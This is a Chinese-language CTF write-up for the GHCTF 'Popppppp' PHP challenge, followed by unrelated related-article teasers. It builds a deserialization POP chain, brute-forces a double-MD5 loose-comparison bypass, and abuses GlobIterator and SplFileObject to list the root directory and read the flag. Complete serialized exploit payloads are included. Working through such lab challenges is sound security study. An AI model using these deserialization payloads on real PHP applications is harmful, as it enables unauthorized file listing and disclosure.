ctf-web: php原生类利用 -- GHCTF Popppppp
源代码
<?php
error_reporting(0); class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) {$this->fruit1 = $a; } function __destruct() { echo $this->fruit1; } public function __toString() { $newFunc = $this->fruit2; return $newFunc(); }
} class Forbidden { private $fruit3; public function __construct($string) {$this->fruit3 = $string; } public function __get($name) {$var = $this->$name;$var[$name](); }
} class Warlord { public $fruit4; public $fruit5; public $arg1; public function __call($arg1, $arg2) {$function = $this->fruit4; return $function(); } public function __get($arg1) {$this->fruit5->ll2('b2'); }
} class Samurai { public $fruit6; public $fruit7; public function __toString() {$long = @$this->fruit6->add(); return $long; } public function __set($arg1, $arg2) { if ($this->fruit7->tt2) { echo "xxx are the best!!!"; } }
} class Mystery { public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
} class Princess { protected $fruit9; protected function addMe() { return "The time spent with xxx is my happiest time" . $this->fruit9; } public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args); }
} class Philosopher { public $fruit10; public $fruit11="sr22kaDugamdwTPhG5zU"; public function __invoke() { if (md5(md5($this->fruit11)) == 666) { return $this->fruit10->hey; } }
} class UselessTwo { public $hiddenVar = "123123"; public function __construct($value) {$this->hiddenVar = $value; } public function __toString() { return $this->hiddenVar; }
} class Warrior { public $fruit12; private $fruit13; public function __set($name, $value) {$this->$name = $value; if ($this->fruit13 == "xxx") {strtolower($this->fruit12); } }
} class UselessThree { public $dummyVar; public function __call($name, $args) { return $name; }
} class UselessFour { public $lalala; public function __destruct() { echo "Hehe"; }
} if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}
step 1 找利用点
翻找全部类发现没有可控任意函数执行点,但是能发现一个很特别的类
class Mystery { public function __get($arg1) { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); }
}
array_walk()
array_walk 是 PHP 中一个用于对数组中的每个元素应用回调函数的函数。该函数的基本用法是遍历数组,并对每个元素调用用户自定义的回调函数,回调函数可以修改数组元素的值。
语法
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
$array:输入的数组,必须是引用传递(&)。$callback:用户自定义的回调函数,函数名称或匿名函数。$userdata:可选参数,用户自定义的数据,这个数据会作为第三个参数传递给回调函数。
但是Mystery是没有属性的,这里要展示一个php反序列化的特性
<?php
class Mystery { public $test = 'Hello World!'; public function __get($arg1) { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); }
} $obj = new Mystery();
echo serialize($obj);
先序列化这段代码,得到输出,再尝试下面这段代码
<?php class test{ public function __construct($echo) { echo $echo; }
} class Mystery { public function __get($arg1) { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); }
} $obj = unserialize('O:7:"Mystery":1:{s:4:"test";s:12:"Hello World!";}');
$obj->inexistent;
你将能看到Mystery获得了本不属于他的 $test = 'Hello World!',并调用了test类输出了Hello World!
我将在之后讲述如何继续利用,在这之前先让我们寻找可用的pop链
step 2 寻找反序列化链
我们要向上寻找能调用其不存在属性的类
注意这个类是不行的,因为
__set与__get作用是相似的,如果__set能触发,那么__get也能触发
$this->fruit7->tt2
class Samurai {public $fruit6; public $fruit7; public function __toString() { $long = @$this->fruit6->add(); return $long; } public function __set($arg1, $arg2) { if ($this->fruit7->tt2) { echo "xxx are the best!!!"; } }
}
所以只能考虑这个类
$this->fruit7->tt2
class Philosopher { public $fruit10; public $fruit11="sr22kaDugamdwTPhG5zU"; public function __invoke() { if (md5(md5($this->fruit11)) == 666) { return $this->fruit10->hey; } }
}
tips: 在 PHP 中,
'666abc' == 666为真
编写python脚本找到一个经过两次md5后开头为666的字符串
import hashlibdef md5_hash(text):"""返回给定文本的MD5哈希值(小写十六进制形式)"""return hashlib.md5(text.encode('utf-8')).hexdigest()def find_string_with_double_md5(prefix):"""查找经过两次MD5哈希后,哈希值前缀为指定前缀的字符串"""num = 0while True:# 第一次 MD5 哈希first_hash = md5_hash(str(num))# 第二次 MD5 哈希second_hash = md5_hash(first_hash)# 检查第二次哈希值的前缀if second_hash.startswith(prefix):return str(num), second_hashnum += 1# 目标前缀 "666"
target_prefix = "666"
result_string, result_hash = find_string_with_double_md5(target_prefix)print(f"找到的字符串: {result_string}")
print(f"第二次MD5哈希值: {result_hash}")
得到213
接下来寻找如何触发
__invoke()
排除掉干扰项找到
<?php
class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) { $this->fruit1 = $a; } function __destruct() { echo $this->fruit1; }public function __toString() { $newFunc = $this->fruit2; return $newFunc(); }
}
找到这里链条已经闭合,可以写出链条。
<?php
class CherryBlossom { public $fruit1; public $fruit2;
} class Philosopher { public $fruit10; public $fruit11="213";
} class Mystery { public $test = 'Hello World!';
} $obj = new CherryBlossom();
$obj -> fruit1 = new CherryBlossom();
$obj -> fruit1 -> fruit2 = new Philosopher();
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery(); echo serialize($obj);
step 3 利用
GlobIterator 是 PHP 中的一个内置类,属于 SplFileInfo 类的子类,用于遍历符合特定模式的文件系统路径。它实现了一个基于文件名模式匹配的迭代器,常常用于处理和读取一组符合 glob 模式(如 *.txt)的文件。GlobIterator 类可以让你方便地使用迭代器模式来遍历符合模式的文件路径。
基本概念:
GlobIterator 类是基于 glob 函数的,它允许你在文件系统中查找符合给定模式的文件。例如,可以使用 *.txt 来匹配所有 .txt 文件。
语法:
new GlobIterator(string $glob_pattern);
- $glob_pattern:一个文件路径模式,可以包含通配符(如
*、?),用来匹配文件名或路径。
常见方法:
GlobIterator 类继承了 Traversable 和 Iterator 接口,因此它可以被用于 foreach 循环进行遍历。它提供了与文件相关的信息(如文件大小、修改时间等)。
1. getFilename():
获取当前文件或目录的文件名。
2. getPathname():
获取当前文件或目录的完整路径。
3. getSize():
获取当前文件的大小(以字节为单位)。
4. getMTime():
获取当前文件的最后修改时间。
5. isDir():
检查当前项是否为目录。
6. isFile():
检查当前项是否为文件。
示例:使用 GlobIterator 遍历符合模式的文件
getFilename() . "\n";echo "文件路径: " . $fileinfo->getPathname() . "\n";echo "文件大小: " . $fileinfo->getSize() . " 字节\n";echo "最后修改时间: " . date('Y-m-d H:i:s', $fileinfo->getMTime()) . "\n";echo "是否为目录: " . ($fileinfo->isDir() ? '是' : '否') . "\n";echo "----------------------------\n";
}
?>
代码解析:
GlobIterator('*.txt'):我们创建了一个GlobIterator实例,传入一个模式*.txt,该模式匹配当前目录下的所有.txt文件。foreach:GlobIterator实现了Traversable接口,因此它可以直接被用在foreach循环中进行迭代。每次迭代返回一个SplFileInfo对象,我们可以用它来获取文件的相关信息。- 输出文件信息:在每次循环中,我们输出文件的:
- 文件名(
getFilename()) - 文件路径(
getPathname()) - 文件大小(
getSize()) - 最后修改时间(
getMTime()) - 是否为目录(
isDir())
- 文件名(
写出文件列出exp,获得文件列表
<?php
class CherryBlossom { public $fruit1; public $fruit2;
} class Philosopher { public $fruit10; public $fruit11="213";
} class Mystery { public $GlobIterator = '/*';
} $obj = new CherryBlossom();
$obj -> fruit1 = new CherryBlossom();
$obj -> fruit1 -> fruit2 = new Philosopher();
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery(); echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:12:"GlobIterator";s:2:"/*";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}
SplFileObject 是 PHP 中的一个内置类,属于 SPL(Standard PHP Library)库的一部分,它提供了一个面向对象的方式来处理文件操作。相比传统的基于函数的文件处理方式(如 fopen、fread、fwrite 等),SplFileObject 提供了更多的封装和面向对象的特性,使得文件操作更为简洁和灵活。
基本概念:
SplFileObject 用于表示一个文件,并允许你以面向对象的方式进行文件读取、写入、修改等操作。它继承自 PHP 内置的 SplFileInfo 类,因此你可以用它来获取文件的基本信息(如文件名、路径、大小等)。
常见方法:
SplFileObject 提供了很多方法来进行文件操作,如读取、写入、遍历文件内容等。
1. 构造函数:
new SplFileObject(string $filename, string $open_mode = 'r', bool $use_include_path = false, resource $context = null);
- $filename:文件名,必须指定。
- $open_mode:打开文件的模式,默认为
'r'(只读模式),可以是'r','w','a','r+'等。 - $use_include_path:是否查找包含路径(默认为
false)。 - $context:文件打开时使用的上下文资源(默认为
null)。
2. 常用方法:
fgetc():读取文件中的下一个字符。fgets():读取文件中的一行。fread():读取指定长度的数据。fwrite():向文件写入数据。fseek():设置文件指针的位置。eof():检查文件指针是否已经到达文件末尾。flock():对文件进行锁定操作(类似于flock()函数)。getFilename():获取文件名(继承自SplFileInfo)。getSize():获取文件大小(继承自SplFileInfo)。getPathname():获取文件的完整路径(继承自SplFileInfo)。
3. 迭代器接口:
SplFileObject 实现了 Traversable 接口,意味着你可以使用 foreach 来逐行遍历文件内容。
示例 1:读取文件内容
eof()) {echo $file->fgets(); // 输出当前行
}
?>
- 这里我们创建了一个
SplFileObject对象,打开example.txt文件,并使用fgets()方法逐行读取文件内容直到文件末尾(eof())。
示例 2:写入文件
fwrite("Hello, world!\n");
$file->fwrite("This is a test.\n");// 关闭文件
$file = null;
?>
- 在这个示例中,我们以写入模式(
'w')打开output.txt文件,使用fwrite()方法向文件写入内容。写入完成后,关闭文件。
示例 3:遍历文件(迭代器)
<?php
// 使用 SplFileObject 作为迭代器,逐行读取文件
$file = new SplFileObject('example.txt', 'r');foreach ($file as $line) {echo $line; // 输出每一行
}
?>
SplFileObject实现了Traversable接口,因此你可以像使用普通数组一样,用foreach遍历文件的每一行。
示例 4:文件指针操作
seek(2); // 文件指针指向第 3 行(索引从 0 开始)// 读取并输出第 3 行
echo $file->fgets(); // 输出第 3 行内容
?>
- 使用
seek()方法可以将文件指针移动到指定的行。这里seek(2)将指针移动到第 3 行。
示例 5:检查文件末尾
eof()) {echo $file->fgets(); // 输出文件内容直到末尾
}
?>
eof()方法检查文件指针是否已经到达文件末尾。你可以通过此方法来控制读取循环,确保文件没有被读取两次。
写出文件读取
<?php
class CherryBlossom { public $fruit1; public $fruit2;
} class Philosopher { public $fruit10; public $fruit11="213";
} class Mystery { public $SplFileObject="/flag44545615441084";
} $obj = new CherryBlossom();
$obj -> fruit1 = new CherryBlossom();
$obj -> fruit1 -> fruit2 = new Philosopher();
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery(); echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}
成功获得flag
相关文章:
ctf-web: php原生类利用 -- GHCTF Popppppp
源代码 <?php error_reporting(0); class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) {$this->fruit1 $a; } function __destruct() { echo $this->fruit1; } public function __toString() { $newFunc …...
PawSQL for TDSQL:腾讯云TDSQL数据库性能优化全攻略
TDSQL 作为腾讯云推出的分布式数据库,凭借其高扩展性、高可用性和高性能等优势,广泛应用于金融、互联网、政务等领域。随着业务的不断增长和数据量的爆炸式增长,如何优化 TDSQL 数据库的性能,成为众多企业和开发者面临的挑战。本文…...
202250311-WINDOWS本地4G显存Docker运行vLLM
前置: 需要去huggingface注册账号获取token:HUGGING_FACE_HUB_TOKEN 运行vLLM docker run --name LocalvLLM_qwen1.5B_Int4 --runtime nvidia --gpus all -v D:/vLLM/.cache/huggingface:/root/.cache/huggingface --env "HUGGING_FAC…...
Scala 中生成一个RDD的方法
在 Scala 中,生成 RDD(弹性分布式数据集)的主要方法是通过 SparkContext(或 SparkSession)提供的 API。以下是生成 RDD 的常见方法: 1. 从本地集合创建 RDD 使用 parallelize 方法将本地集合(如…...
T-SQL 语言基础:表运算符与联接
目录 介绍表运算符概述交叉联接内联接外联接联接实例总结引用 1. 介绍 在这篇博客中,主要涉及 T-SQL 中的表运算符与联接。联接操作是 SQL 查询中最常用的操作之一,它允许我们在多个表之间进行数据关联。通过了解不同类型的联接及其应用场景ÿ…...
Electron打包工具对比
在 Electron 生态中,打包工具的选择直接影响开发效率、配置复杂度和最终应用的性能。以下是主流的 Electron 打包工具及其优劣分析,结合你的 Vue 项目需求,我会在最后给出推荐方案: 一、主流 Electron 打包工具对比 1. Electron …...
jumpserver 网络安全 网络安全 authenticity
1.1 计算机安全的概念 1.1.1 计算机安全最核心的三个关键目标(CIA): 保密性(Confidentiality)--①数据保密性(确保隐私或秘密不向非授权者泄密或使用); ②隐私性(确保个人能够控制或确定其自身相关的信息)…...
Spring Cloud之远程调用OpenFeign参数传递
目录 OpenFeign参数传递 传递单个参数 传递多个参数 传递对象 传递JSON OpenFeign参数传递 传递单个参数 服务提供方product-service RequestMapping("/product") RestController public class ProductController {Autowiredprivate ProductService productSe…...
详解SQL权限与授予与收回对数据操作权限的操作
授予与收回对数据操作权限 一、GRANT 操作用法示例 二、REVOKE 操作用法示例 三、权限1. 数据库级别权限常见权限: 2. 对象级别权限作用对象:常见权限:对表或视图:对序列(Sequence):对存储过程和…...
网络安全之文件上传漏洞
一,文件上传漏洞的原因: 文件上传漏洞的存在主要是因为开发者未对用户上传的文件进行充分的安全验证,导致攻击者可以上传恶意文件(如 WebShell、恶意脚本等)到服务器,进而控制服务器或实施进一步攻击。 常…...
Fast DDS Security--仿问控制
Fast DDS中提供了两种级别的仿问控制: 1 Domain Governance: 定义域级别的安全策略(全局规则). 2 DomainParticipant Permissions : 定义参与者的具体权限(个体规则) 先说一下Domain Governance…...
【13】单片机编程核心技巧:乘法运算
【13】单片机编程核心技巧:乘法运算 七律 乘法 乘法运算寄存间,溢出玄机隐字边。 连乘自增简写妙,移位替代速如仙。 中间变量扩疆土,长整型存避险关。 单片机中精算术,毫厘不爽展奇观。 摘要 乘法运算是单片机编程…...
为什么大模型网站使用 SSE 而不是 WebSocket?
在大模型网站(如 ChatGPT、Claude、Gemini 等)中,前端通常使用 EventSource(Server-Sent Events, SSE) 来与后端对接,而不是 WebSocket。这是因为 SSE 更适合类似流式文本生成的场景。下面我们详细对比 SSE…...
PostgreSQL的备份方式
PostgreSQL 提供多种方式进行备份,适用于不同需求的场景。常用的备份方法如下: 1. 逻辑备份(pg_dump 和 pg_dumpall) 1.1 使用 pg_dump 备份单个数据库 pg_dump 是 PostgreSQL 内置的逻辑备份工具,可以将数据库导出为…...
iTextSharp-PDF批量导出
HTML转PDF批量导出速度太慢且使用Spire.pdf.dll限制页签10后需要开通会员才能使用-做出优化 环境:U9 - UI插件 需求:选择需要导出的客户查询对应对账数据批量导出PDF并弹出下载框保存到默认位置 using System; using System.Collections.Generic; us…...
基于Matlab设计GUI图像处理交互界面
Image-Processing-GUI 项目说明 本博文提供了完整的代码和使用教程,适合新入门的朋友参考,完整代码资源文件请转至文末的下载链接。 本项目是《Matlab实践》中图像处理软件题目,本项目实现的具体内容如下 基于Matlab设计GUI交互界面图像的…...
osg安装编译第三方,完整详细过程。 libtiff/tif config.vc.hdoes not exist
第三方安装包下载地址 GitHub - bjornblissing/osg-3rdparty-cmake: CMake scripts for building OpenSceneGraph third party libraries. 在计算机中的布局 D:\CPlus\osg\src\osg-3rdparty\osg-3rdparty-cmake三层布局,src 放置源码 执行里面的批处理文件&#…...
红队OPSEC(安全运营)个人总结
OPSEC又称:运营安全,是指在红队的视角下,蓝队对我方的威胁。 OPSEC漏洞的五个流程: 关键信息识别:指红队的关键信息不泄露,包括但不限于红队的攻击意图,能力,人员,活动及…...
RSA算法:开启现代密码学的数学之钥
一、RSA算法简介 RSA(Rivest-Shamir-Adleman)是当今应用最广泛的非对称加密算法,由三位科学家Ron Rivest、Adi Shamir和Leonard Adleman于1977年提出。它的核心思想是利用数论中的难题,构建一对数学上关联的密钥——公钥用于加密…...
【从0到1构建实时聊天系统:Spring Boot + Vue3 + WebSocket全栈实战】
一、项目架构 技术栈清单: 后端:Spring Boot 3.0 WebSocket STOMP前端:Vue3 Pinia WebSocket Client部署:Nginx Docker Compose 二、核心功能实现 1. WebSocket双向通信 // 后端配置类 Configuration EnableWebSocketMes…...
HTML 超链接(简单易懂较详细)
在 HTML 中,超链接是通过 <a> 标签(anchor tag)创建的。超链接允许用户通过点击文本、图像或其他元素跳转到另一个网页、文件或页面的特定部分。本文将详细介绍 HTML 超链接的语法、属性和应用场景。 一、基本语法 <a href"U…...
《Android应用性能优化全解析:常见问题与解决方案》
目录 一、UI卡顿/掉帧 二、内存泄漏(Memory Leak) 三、ANR(Application Not Responding) 四、列表滑动卡顿(RecyclerView/ListView) 五、冷启动耗时过长 六、内存抖动(Memory Churn&#x…...
常见HTTP 状态码及意义
HTTP状态码是服务器响应客户端请求时返回的三位数字代码,它们分为五个类别,每个类别代表不同类型的响应。 1xx - 信息性状态码 这些状态码表示请求已被接收,继续处理。 100 Continue: 客户端应继续其请求。这个临时响应用于通知客户端&…...
Android Compose Surface 完全指南:从入门到花式操作
今天咱们来聊聊 Compose 世界里那个既基础又强大的组件——Surface。这个看似简单的矩形区域,实际藏着不少宝藏玩法,准备好你的 IDE,咱们发车! 一、Surface 是什么? 简单说,Surface 就是个自带背景和样式…...
Deepin通过二进制方式升级部署高版本 Docker
一、背景: 在Deepin系统中通过二进制方式升级部署高版本 Docker,下面将详细介绍二进制方式升级部署高版本 Docker 的具体步骤。 二、操作步骤 1.根据需求下载二进制文件,下载地址如下: https://mirrors.tuna.tsinghua.e…...
python中time模块的常用方法及应用
Python 的 time 模块是自带的标准模块,不需要额外安装,可以直接通过import time的方式导入并使用其中的函数和类。该模块提供了与时间相关的各种功能,以下是一些常用方法及其应用场景和示例: ### 1. time.time() - **功能**&…...
【RTSP】客户端(一):RTSP协议实现
概述 RTSP主要功能总结 RTSP本质是一个应用层协议,主要用于控制实时数据的传递,例如音视频流。RTSP的传输方式与HTTP类似,与HTTP不同在于RTSP主要用于控制传输媒体服务器上的流媒体会话。所以其是一个 客户端-服务器模型,客户端需…...
SpringBoot(一)--搭建架构5种方法
目录 一、⭐Idea从spring官网下载打开 2021版本idea 1.打开创建项目 2.修改pom.xml文件里的版本号 2017版本idea 二、从spring官网下载再用idea打开 三、Idea从阿里云的官网下载打开 编辑 四、Maven项目改造成springboot项目 五、从阿里云官网下载再用idea打开 Spri…...
面试之《commonjs,requirejs和es6 Module的区别》
设计理念 CommonJS:是为服务器端环境设计的模块化规范,以同步加载模块为核心思想。服务器端读取文件速度快,同步加载不会造成明显性能问题,方便开发者在代码执行前就确定模块间的依赖关系,便于管理和维护。RequireJS&…...
【工控】线扫相机小结 第五篇
背景介绍 线扫相机通过光栅尺的脉冲触发, 我在调试线扫过程中,发现图像被拉伸,预设调节分配器。图像正常后,我提高的相机的扫描速度(Y轴动的更快了)。 动的更快的发现,图像变短了(以…...
